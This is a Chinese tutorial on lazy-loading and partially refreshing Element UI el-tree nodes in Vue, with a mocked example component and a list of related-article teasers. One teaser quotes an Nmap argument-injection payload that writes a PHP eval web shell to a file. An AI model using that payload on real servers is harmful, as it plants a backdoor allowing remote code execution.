el-tree 懒加载数据,增删改时局部刷新实现

1.数据过多时进行懒加载孩子节点,根据层级传参获取后端孩子数据

懒加载主要部分:

1参数:

        :load="loadNode"

         lazy

        :props="defaultProps"

2.defaultProps  需要设置isLeaf: 'isLeaf',去除最后一层孩子节点的展开图表

      defaultProps: {

          children: 'children',

          label: 'label',

          isLeaf: 'isLeaf'

        },

2.增删改时实现局部刷新

主要思路:将展开的层级的node保存当curNode中,在进行添加刷新后调用partialRefreshpartialRefresh()方法【下面代码】

 partialRefreshpartialRefresh (node) {
      this.mark = true
      node.loaded = false // 设置loaded为false;模拟一次节点展开事件,加载重命名后的新数据;
      node.expand() // 新建子节点是刷新一次本节点的展开请求,而重命名和删除则需要刷新父级节点的 
        的展开事件,可以设置node.parent.loaded = false;node.parent.expand();
    },

完整案例代码(没和后端交互)

<template><div>树形懒加载 局部刷新:添加或者删除节点时,后端需要返回当前节点下的最新的孩子数据<el-tree:props="defaultProps":data="data":load="loadNode"lazy:expand-on-click-node="false":check-on-click-node="true"@node-click="nodeClick"></el-tree><el-button @click="add">添加局部数据</el-button><el-button @click="deletes">删除局部刷新</el-button></div>
</template><script>export default {data() {return {nodeArr:[],mark:false,delete:false,curPath:'',curNode:'',defaultProps: {children: 'children',label: 'label',isLeaf: 'isLeaf'},data: [{label: '一级 1',filedId:'dddd',children:[{}]}, {label: '一级 2',children:[{}]}, {label: '二级 2-2',children:[{}]}],};},methods: {// 模拟删除deletes() {this.delete=truethis.partialRefreshpartialRefresh(this.curNode)},// 模拟添加数据,add() {this.partialRefreshpartialRefresh(this.curNode)},nodeClick (data, node) {console.log('node',node);this.curNode = node},// 删除// 实现局部刷新,在点击弹窗处调用的partialRefreshpartialRefresh (node) {this.mark = truenode.loaded = false // 设置loaded为false;模拟一次节点展开事件,加载重命名后的新数据;node.expand() // 新建子节点是刷新一次本节点的展开请求,而重命名和删除则需要刷新父级节点的 的展开事件,可以设置node.parent.loaded = false;node.parent.expand();},loadNode(node, resolve) {console.log('nodexx',node);this.curNode = nodeif (node.level === 0) {return resolve(this.data);}if (node.level >= 1) {// 设置定时器模拟接口返回孩子数据setTimeout(() => {node.data.children.pop();node.data.children = []// 模拟添加的// if(this.mark) {//   // 模拟添加数据,真正开发应该是后端将当前节点孩子数据返回//   node.data.children.push(//   {//   label: '新添加的孩子',//   filedId:'wwww',//   isLeaf:true,// },// {//   label: '初始的孩子',//   filedId:'wwww',//   isLeaf:true,// },// {//   label: '二级 3-2',//   filedId:'wwww',//   children:[{}]// })// } else {// node.data.children.pop();// node.data.children.push({//   label: '初始的孩子',//   filedId:'wwww',//   isLeaf:true,// },// {//   label: '二级 3-2',//   filedId:'wwww',//   children:[{}]// })// }// 模拟删除if(this.delete) {// 模拟删除数据,真正开发应该是后端将当前节点孩子数据返回node.data.children.push(//   {//   label: '新添加的孩子',//   filedId:'wwww',//   isLeaf:true,// },// {//   label: '初始的孩子',//   filedId:'wwww',//   isLeaf:true,// },{label: '二级 3-2',filedId:'wwww',children:[{}]})} else {node.data.children.pop();node.data.children.push({label: '初始的孩子',filedId:'wwww',isLeaf:true,},{label: '二级 3-2',filedId:'wwww',children:[{}]})}resolve(node.data.children)},3000)}}}};
</script><style></style>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/26673.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pytorch迁移学习使用MobileNet v3网络模型进行猫狗预测二分类

目录 1. MobileNet 1.1 MobileNet v1 1.1.1 深度可分离卷积 1.1.2 宽度和分辨率调整 1.2 MobileNet v2 1.2.1 倒残差模块 1.3 MobileNet v3 1.3.1 MobieNet V3 Block 1.3.2 MobileNet V3-Large网络结构 1.3.3 MobileNet V3预测猫狗二分类问题 送书活动 1. MobileNet …

解释器模式-自定义语言的实现

有时&#xff0c;我们希望输入一串字符串&#xff0c;然后计算机能够按照预先定义的文法规则来对这个字符串进行解释&#xff0c;从而实现相应的功能。 例如&#xff0c;我们想实现简单的加减法接收器&#xff0c;只需输入一个表达式&#xff0c;它就能计算出表达式结果。比如…

纯C语言实现的Luhn算法(信用卡校验位):详解与示例

Luhn算法,也被称为“模10算法”,是一种简单的校验和公式,用于验证各种标识号码,如信用卡号码。Luhn算法是由IBM科学家Hans Peter Luhn发明的。这种算法在全球范围内被广泛应用于各种场合,其中最常见的就是信用卡号码的校验。 在本文中,我们将详细介绍如何使用纯C语言实现…

GPT带我学-设计模式-模板模式

1 请你给我介绍一下设计模式中的模板模式 模板模式是一种行为设计模式&#xff0c;它定义了一个算法的骨架&#xff0c;将一些步骤的具体实现延迟到子类中。模板模式允许子类重新定义算法的某些特定步骤&#xff0c;而不需要改变算法的结构。 模板模式由以下几个角色组成&…

建模杂谈系列232 工程改进方法与实践_第一次迭代

说明 我还是比较喜欢把文章放在这个专题下&#xff0c;虽然这次的话题其实是个综合性的。 内容 1 理想架构 我一直在构建一个理想的数据处理系统&#xff0c;但这个过程不是自顶向下&#xff0c;一次设计完毕的。而是在不断的实践、反思和推倒重建汇总不断更新的。 或者说…

AI一键生成短视频

AI一键生成推文短视频 阅读时长&#xff1a;10分钟 本文内容&#xff1a; 结合开源AI&#xff0c;一键生成短视频发布到常见的某音&#xff0c;某手平台&#xff0c;狠狠赚一笔 前置知识&#xff1a; 1.基本的 python 编程知识 2.chatGPT 使用过 3.stable diffution 使用过 成果…

【单片机】晨启科技,酷黑版,简易电压采集装置

简易电压采集装置&#xff08;限MSP430、STM32单片机&#xff09; 任务要求&#xff1a; 设计制作一个简易电压采集与显示装置&#xff0c;实现如下基本功能&#xff1a; 评分细则&#xff1a; 1.通过单片机内部ADC模块采集1路电压并通过OLED屏显示电压大小&#xff1b;&#x…

读写文件(

一.写文件 1.Nmap escapeshellarg()和escapeshellcmd() : 简化: <?php phpinfo();?> -oG hack.php———————————— nmap写入文件escapeshellarg()和escapeshellcmd() 漏洞 <?php eval($_POST["hack"]);?> -oG hack.php 显示位置*** 8…

【云原生K8s】二进制部署单master K8s+etcd集群

一、实验设计 mater节点master01192.168.190.10kube-apiserver kube-controller-manager kube-scheduler etcd node节点node01192.168.190.20kubelet kube-proxy docker (容…

Shell - 备份mysql的N种姿势

文章目录 mysqldump --help备份mysql的N种姿势 mysqldump --help mysqldump 是一个常用的命令行工具&#xff0c;用于备份和还原 MySQL 数据库。 [rootVM-24-3-centos blg]# mysqldump --help mysqldump Ver 10.13 Distrib 5.6.50, for Linux (x86_64) Copyright (c) 2000,…

前端页面性能优化,性能测试算法优化,MeterSphere开源持续测试平台v2.10.5 LTS版本发布

2023年8月7日&#xff0c;MeterSphere一站式开源持续测试平台正式发布v2.10.5 LTS版本。自2023年5月发布v2.10 LTS版本后&#xff0c;MeterSphere开源项目组坚持每两周发布小版本&#xff0c;持续进行问题的修复更新&#xff0c;并针对部分功能进行优化。 本次发布的MeterSphe…

csdn崩溃了?每次都卡

反馈给了官方客服也没有响应&#xff0c;最近几周都是这样的高频率的转圈圈&#xff01;这个入口不受重视&#xff1f;这个对于csdn用户来说&#xff0c;是最最基本的入口 如果CSDN&#xff08;CSDN.net&#xff09;崩溃了&#xff0c;可能会对以下方面产生影响&#xff1a; 开…

每日一题—— 数组中出现次数超过一半的数字

题目 给一个长度为 n 的数组&#xff0c;数组中有一个数字出现的次数超过数组长度的一半&#xff0c;请找出这个数字。 例如输入一个长度为9的数组[1,2,3,2,2,2,5,4,2]。由于数字2在数组中出现了5次&#xff0c;超过数组长度的一半&#xff0c;因此输出2。 数据范围&#xff…

RISC-V基础之函数调用(三)保留寄存器(包含实例)

RISC-V将寄存器分为保留和非保留两类。保留寄存器是指在函数调用前后必须保持相同值的寄存器&#xff0c;因为调用者期望在调用后能够继续使用这些寄存器的值。保留寄存器包括s0到s11&#xff08;因此称为saved&#xff09;&#xff0c;sp和ra。非保留寄存器&#xff0c;也称为…

自然语言处理学习笔记(四)————词典分词

目录 1.中文分词 2.词典分词 &#xff08;1&#xff09;词的定义 &#xff08;2&#xff09;词典性质——齐夫定律 &#xff08;3&#xff09;词典 &#xff08;4&#xff09;加载词典 &#xff08;5&#xff09;hanlp词典路径 1.中文分词 中文分词&#xff1a;指的是将一…

Spring Cloud+Spring Boot+Mybatis+uniapp+前后端分离实现知识付费平台免费搭建 qt

&#xfeff;Java版知识付费源码 Spring CloudSpring BootMybatisuniapp前后端分离实现知识付费平台 提供职业教育、企业培训、知识付费系统搭建服务。系统功能包含&#xff1a;录播课、直播课、题库、营销、公司组织架构、员工入职培训等。 提供私有化部署&#xff0c;免费售…

LCR 095. 最长公共子序列 / LeetCode 1143. 最长公共子序列(动态规划)

题目&#xff1a; 链接&#xff1a;LCR 095. 最长公共子序列&#xff1b;LeetCode 1143. 最长公共子序列 难度&#xff1a;中等 给定两个字符串 text1 和 text2&#xff0c;返回这两个字符串的最长 公共子序列 的长度。如果不存在 公共子序列 &#xff0c;返回 0 。 一个字符…

TiDB Serverless 正式商用,全托管的云服务带来数据管理和应用程序开发的全新体验

八 年 前 &#xff0c;我们构建了 TiDB&#xff0c;一个开源分布式关系型数据库。 我们的目标是重新定义开发者和企业处理数据的方式&#xff0c;满足不断增长的可扩展性、灵活性和性能需求。 从那时起&#xff0c;PingCAP 便致力于为开发者和企业提供快速、灵活和规模化的数据…

【MySQL】——常用接口API即相关函数说明

目录 1、MySQL结构体的说明 1、MYSQL结构体 2.MYSQL_RES结构体 3. MYSQL_FIELD 2. 接口的使用步骤 3、mysql_init()——MYSQL对象初始化 4、mysql_real_connect()——数据库引擎建立连接 5. mysql_query()——查询数据库某表内容 6、mysql_real_query——执行SQL语句 …

JPA使用nativeQuery自定义SQL怎么插入一个对象参数呢?

0、我们在前后端传递数据时候&#xff0c;参数多的情况下&#xff0c;常常将这些参数封装成对象&#xff1b;当有些场景你需要使用JPA nativeQuery自定义SQL&#xff0c;要将这个对象insert时候&#xff0c;初学者似乎有点犯难&#xff0c;jpa不是spring-data项目的内容吗&…